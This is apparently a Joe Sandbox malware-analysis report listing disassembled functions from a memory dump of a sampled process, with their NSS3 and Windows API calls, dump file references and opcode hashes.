Function 6C5AA910 Relevance: 7.7, APIs: 5, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd52d7d1cf12aa7c28facfa9651fe00b6a9fa20679fbc191efa2047910c3c44d
Instruction ID: d278d363e02d596174d39baa1db99da4ee736fe049f7635bff5c882323c69092
Opcode Fuzzy Hash: cd52d7d1cf12aa7c28facfa9651fe00b6a9fa20679fbc191efa2047910c3c44d
Instruction Fuzzy Hash: 7E91AA31700208DFEB09DFA6EC99B6E77B5BB4A309F14043DE54647A50DB38A946CFA1

Function 6C5B6D2E Relevance: 7.6, APIs: 5, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 6C5A3C40: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5A3C66
Part of subcall function 6C5A3C40: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C5A3D04

memcpy.VCRUNTIME140(?,?,?), ref: 6C5B6DC0
memcpy.VCRUNTIME140(?,?,?), ref: 6C5B6DE5

Part of subcall function 6C5B8010: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B807D
Part of subcall function 6C5B8010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B80D1
Part of subcall function 6C5B8010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B810E
Part of subcall function 6C5B8010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B8140

memcpy.VCRUNTIME140(00000004,00000004,00000000), ref: 6C5B6E7E
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5B6E96
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B6EC2

Part of subcall function 6C5B7D70: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B7E27
Part of subcall function 6C5B7D70: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B7E67

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: _byteswap_ulong$memcpy$_byteswap_ushort
String ID:
API String ID: 3070372028-0
Opcode ID: 848c820c84e3ba32651aa9a9d26f40a2b88f3f9ef7b005cdd258c69f0d4c2721
Instruction ID: 4b25c9344c69732736e3ceffdf15b4c7866574cecfc229fa9cc6fa33664cd833
Opcode Fuzzy Hash: 848c820c84e3ba32651aa9a9d26f40a2b88f3f9ef7b005cdd258c69f0d4c2721
Instruction Fuzzy Hash: E8518D719087519FC724CF25C860B6ABBE5FFC8318F048A5DE8A997741E730E919CB92

Function 6C62C9E0 Relevance: 7.6, APIs: 5, Instructions: 132COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,00000000), ref: 6C62CA21
EnterCriticalSection.KERNEL32(0000001C), ref: 6C62CA35
PR_Unlock.NSS3(00000000), ref: 6C62CA66
PR_SetError.NSS3(FFFFE041,00000000,00000000,?,?,00000000), ref: 6C62CA77
PR_Unlock.NSS3(00000000), ref: 6C62CAFC

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterErrorSectionValue
String ID:
API String ID: 1974170392-0
Opcode ID: 8f5e762e5361f4648d2914e9ba68bfd2cc32ad9d933c894b76941494af38ff2b
Instruction ID: b1ef241689eb41b050631ceee71f288a75e77ad1d5b7181f4058b81317fbf09b
Opcode Fuzzy Hash: 8f5e762e5361f4648d2914e9ba68bfd2cc32ad9d933c894b76941494af38ff2b
Instruction Fuzzy Hash: 4541F375E00205ABEB00EF24CC41AAB7BB4EF46388F144164ED1AA7711EB34D911CFE9

Function 6C684A00 Relevance: 7.6, APIs: 5, Instructions: 126threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C684A8D
CERT_SaveSMimeProfile.NSS3(00000000,00000000,00000000), ref: 6C684B01
CERT_DestroyCertificate.NSS3(00000000), ref: 6C684B12
PR_SetError.NSS3(?,00000000), ref: 6C684B1F
CERT_FindCertByIssuerAndSN.NSS3(?,?), ref: 6C684B35

Part of subcall function 6C6804A0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,00000000), ref: 6C6804B9
Part of subcall function 6C6804A0: memcmp.VCRUNTIME140(?,?,?,?,?,?,?,?,00000000), ref: 6C68050A
Part of subcall function 6C6804A0: memcmp.VCRUNTIME140(?,00000000,?), ref: 6C680545

Part of subcall function 6C6852E0: PORT_NewArena_Util.NSS3(00000400,6C684A57,?,00000000), ref: 6C6852F7
Part of subcall function 6C6852E0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,6C74301C,WJhl,?,6C684A57,?,00000000), ref: 6C685312
Part of subcall function 6C6852E0: CERT_FindCertByIssuerAndSN.NSS3(?,?,?,?,?,?,?,6C684A57,?,00000000), ref: 6C685327
Part of subcall function 6C6852E0: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,6C684A57,?,00000000), ref: 6C685334

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$Find$Arena_CertIssuermemcmp$CertificateCurrentDecodeDestroyErrorFreeItem_MimeProfileQuickSaveTag_Thread
String ID:
API String ID: 3052039812-0
Opcode ID: 09f7a121720f623324a7dd125799208341f409880e208d633a7dadc5b6f64ff3
Instruction ID: 0d96b79ca208af1912ea65277133fba31cc6ea2f43acc0734a7a287445c30f37
Opcode Fuzzy Hash: 09f7a121720f623324a7dd125799208341f409880e208d633a7dadc5b6f64ff3
Instruction Fuzzy Hash: 3C31D7B1D032105BEB145E356C50BBB36AD9F0671DF150134EC04AAB46EBB5C905C7BD

Function 6C656AE0 Relevance: 7.6, APIs: 6, Instructions: 125stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C656910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C656943
Part of subcall function 6C656910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C656957
Part of subcall function 6C656910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C656972
Part of subcall function 6C656910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C656983
Part of subcall function 6C656910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C6569AA
Part of subcall function 6C656910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C6569BE
Part of subcall function 6C656910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C6569D2
Part of subcall function 6C656910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C6569DF
Part of subcall function 6C656910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C656A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000,6C65781D,?,6C64BE2C,?,00000000,00000000), ref: 6C656B66
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,6C65781D,?,6C64BE2C,?,00000000,00000000), ref: 6C656B88
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,6C65781D,?,6C64BE2C,?,00000000,00000000), ref: 6C656BAF
free.MOZGLUE(00000000,?,?,?,?,00000000,00000000,6C65781D,?,6C64BE2C,?,00000000,00000000), ref: 6C656BE6
free.MOZGLUE(?,?,?,?,?,00000000,00000000,6C65781D,?,6C64BE2C,?,00000000,00000000), ref: 6C656BF7
free.MOZGLUE(6C65781D,?,?,?,?,00000000,00000000,6C65781D,?,6C64BE2C,?,00000000,00000000), ref: 6C656C08

Part of subcall function 6C656C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C65781D,00000000,6C64BE2C,?,6C656B1D,?,?,?,?,00000000,00000000,6C65781D), ref: 6C656C40
Part of subcall function 6C656C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C65781D,?,6C64BE2C,?), ref: 6C656C58
Part of subcall function 6C656C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C65781D), ref: 6C656C6F
Part of subcall function 6C656C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C656C84
Part of subcall function 6C656C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C656C96
Part of subcall function 6C656C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C656CAA

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: strcmpstrncmp$FlagL_strncasecmpfree$Strip$ParameterSecureSkip
String ID:
API String ID: 3779992554-0
Opcode ID: b6425ee9da568bb0dc4b7becd43af8f2909f4d15dfaf4af0a4aee52ca05c358e
Instruction ID: 9c16e4e6db78c3cec88998f593b3d0bd96aab191dfeb8a6384661e35b45bac4f
Opcode Fuzzy Hash: b6425ee9da568bb0dc4b7becd43af8f2909f4d15dfaf4af0a4aee52ca05c358e
Instruction Fuzzy Hash: 774181B1E0021A9BEF10CEA5CD44BEEB7B8AF05349F640425D814E7740E735E974CBA9

Function 6C72AA70 Relevance: 7.6, APIs: 5, Instructions: 114COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C72AA86

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

Part of subcall function 6C72A690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6C72A662), ref: 6C72A69E
Part of subcall function 6C72A690: PR_NewCondVar.NSS3(?), ref: 6C72A6B4

PR_IntervalNow.NSS3 ref: 6C72AAEC
EnterCriticalSection.KERNEL32(?), ref: 6C72AB0A
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C72AB67
_PR_MD_UNLOCK.NSS3(?), ref: 6C72AB8B

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CondCriticalEnterErrorIntervalSectionValuecalloc
String ID:
API String ID: 318662135-0
Opcode ID: 05f0cd98c651e0190c503f14ada3f356f06293aea1b70a2da1a81ce461b7d4f9
Instruction ID: 12127319655869bb4e1b3b2548ef9f0e62ec17dd1df1935a0684e66be8986e92
Opcode Fuzzy Hash: 05f0cd98c651e0190c503f14ada3f356f06293aea1b70a2da1a81ce461b7d4f9
Instruction Fuzzy Hash: DA41A2B5A00706CFC750DF29C98095AB7F6FF49728729456AE81ACBB01E734ED44CB90

Function 6C6A2460 Relevance: 7.6, APIs: 5, Instructions: 105memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,6C747379,00000002,?), ref: 6C6A2493
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6A24B4
PR_SetError.NSS3(FFFFE005,00000000,?,?,?,?,?,6C747379,00000002,?), ref: 6C6A24EA
PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,6C747379,00000002,?), ref: 6C6A24F5
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,6C747379,00000002,?), ref: 6C6A24FE

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Error$Alloc_FreeK11_Utilfree
String ID:
API String ID: 2595244113-0
Opcode ID: e88a91dbdf4951d2923b201f30dead1be966af7ab0a17d293999c9bf98a8d650
Instruction ID: e00b4a8e06b0c347f86212111e1d381946c0d48aa5c113e849fbf97861d51a56
Opcode Fuzzy Hash: e88a91dbdf4951d2923b201f30dead1be966af7ab0a17d293999c9bf98a8d650
Instruction Fuzzy Hash: 6D31D0B1A00116AFEB108FA6DC45BBBB7A4EF48308F104125FD1996680E730DD66C7A9

Function 6C60EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C60EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C60EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C60EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C60EEEB
free.MOZGLUE(?), ref: 6C60EEF6

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 769bd324affd49dffd940546e3c13edc8999f9734f6618a6fe2bd8ae1514e11e
Instruction ID: f477ac15c23f96ccadc2a6e378e92fd7a7868aa104064de5cada6a673a27ac19
Opcode Fuzzy Hash: 769bd324affd49dffd940546e3c13edc8999f9734f6618a6fe2bd8ae1514e11e
Instruction Fuzzy Hash: 643139717002289BDB149F28CD447A67BF4FB46305F140538E89A97A50D731E455CBE9

Function 6C6144D0 Relevance: 7.6, APIs: 5, Instructions: 90COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3 ref: 6C6144FF

Part of subcall function 6C6707B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C618298,?,?,?,6C60FCE5,?), ref: 6C6707BF
Part of subcall function 6C6707B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6707E6
Part of subcall function 6C6707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C67081B
Part of subcall function 6C6707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C670825

SECOID_FindOID_Util.NSS3(?), ref: 6C614524
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C614537
CERT_AddExtensionByOID.NSS3(00000001,?,?,?,00000001), ref: 6C614579

Part of subcall function 6C6141B0: PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6C6141BE
Part of subcall function 6C6141B0: PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C6141E9
Part of subcall function 6C6141B0: SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6C614227
Part of subcall function 6C6141B0: SECITEM_CopyItem_Util.NSS3(?,-00000018,?), ref: 6C61423D

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C61459C

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$Error$Alloc_ArenaCopyFindHashItem_LookupTable$ConstEqual_ExtensionItems
String ID:
API String ID: 3193526912-0
Opcode ID: ebf86faa50ffcf2ec35f4368ae81f486fcdccb540a5d46777f353d11653d57bb
Instruction ID: e835213055637fc85c12cefc3098d10747a59d73f82092a8c26452b553418092
Opcode Fuzzy Hash: ebf86faa50ffcf2ec35f4368ae81f486fcdccb540a5d46777f353d11653d57bb
Instruction Fuzzy Hash: 9021A1B16096119BEB10CE2EDC44FBB37B89F4275EF140428B815CBF51E7A1E904C6A9

Function 6C616AF0 Relevance: 7.6, APIs: 5, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(00000000,6C61B21D,00000000,00000000,6C61B219,?,6C616BFB,00000000,?,00000000,00000000,?,?,?,6C61B21D), ref: 6C616B01

Part of subcall function 6C66FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C66FE08
Part of subcall function 6C66FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C66FE1D
Part of subcall function 6C66FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C66FE62

PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,6C61B219,?,6C616BFB,00000000,?,00000000,00000000,?,?,?,6C61B21D), ref: 6C616B36
PORT_ArenaAlloc_Util.NSS3(00000000,00000030), ref: 6C616B47
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C616B8A
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000004,?,0000001C), ref: 6C616BB6

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Item_$DecodeQuick$Errormemcpy
String ID:
API String ID: 1773792728-0
Opcode ID: ee318dc3445f81f58f00626ff4334dab0517090d7d18d4d1eeb2877337c47a2b
Instruction ID: 5db70c263861a8c3b7de76e5250e283df8374301aa75c32afb12b4fb8bd47bdc
Opcode Fuzzy Hash: ee318dc3445f81f58f00626ff4334dab0517090d7d18d4d1eeb2877337c47a2b
Instruction Fuzzy Hash: DC2106759093149BEB108F29CD40F9A7BE8DB55399F054529EC08D7E11F731EB60C7A8

Function 6C61AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C613FFF,00000000,?,?,?,?,?,6C611A1C,00000000,00000000), ref: 6C61ADA7

Part of subcall function 6C6714C0: TlsGetValue.KERNEL32 ref: 6C6714E0
Part of subcall function 6C6714C0: EnterCriticalSection.KERNEL32 ref: 6C6714F5
Part of subcall function 6C6714C0: PR_Unlock.NSS3 ref: 6C67150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C613FFF,00000000,?,?,?,?,?,6C611A1C,00000000,00000000), ref: 6C61ADB4

Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C6710F3
Part of subcall function 6C6710C0: EnterCriticalSection.KERNEL32(?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67110C
Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671141
Part of subcall function 6C6710C0: PR_Unlock.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671182
Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C613FFF,?,?,?,?,6C613FFF,00000000,?,?,?,?,?,6C611A1C,00000000), ref: 6C61ADD5

Part of subcall function 6C66FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C668D2D,?,00000000,?), ref: 6C66FB85
Part of subcall function 6C66FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C66FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C7394B0,?,?,?,?,?,?,?,?,6C613FFF,00000000,?), ref: 6C61ADEC

Part of subcall function 6C66B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7418D0,?), ref: 6C66B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C613FFF), ref: 6C61AE3C

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 9a790355dc130930b4cfe44059df97f388b3cb9ca693382d9fb977a507ef752d
Instruction ID: dc3187f174c1f95e3b8f090a12defd49044a64c430ccdc3bece237c900acc05d
Opcode Fuzzy Hash: 9a790355dc130930b4cfe44059df97f388b3cb9ca693382d9fb977a507ef752d
Instruction Fuzzy Hash: 69115971E042046BE7109B699C01BBF73A8DF9224DF004629EC5996A42FB20E95D82AE

Function 6C668800 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C67085A,00000000,?,6C618369,?), ref: 6C668821
TlsGetValue.KERNEL32(?,?,6C67085A,00000000,?,6C618369,?), ref: 6C66883D
EnterCriticalSection.KERNEL32(?,?,?,6C67085A,00000000,?,6C618369,?), ref: 6C668856
PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C668887
PR_Unlock.NSS3(?,?,?,?,6C67085A,00000000,?,6C618369,?), ref: 6C668899

Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007AD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007CD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007D6
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C59204A), ref: 6C6007E4
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,6C59204A), ref: 6C600864
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C600880
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,6C59204A), ref: 6C6008CB
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008D7
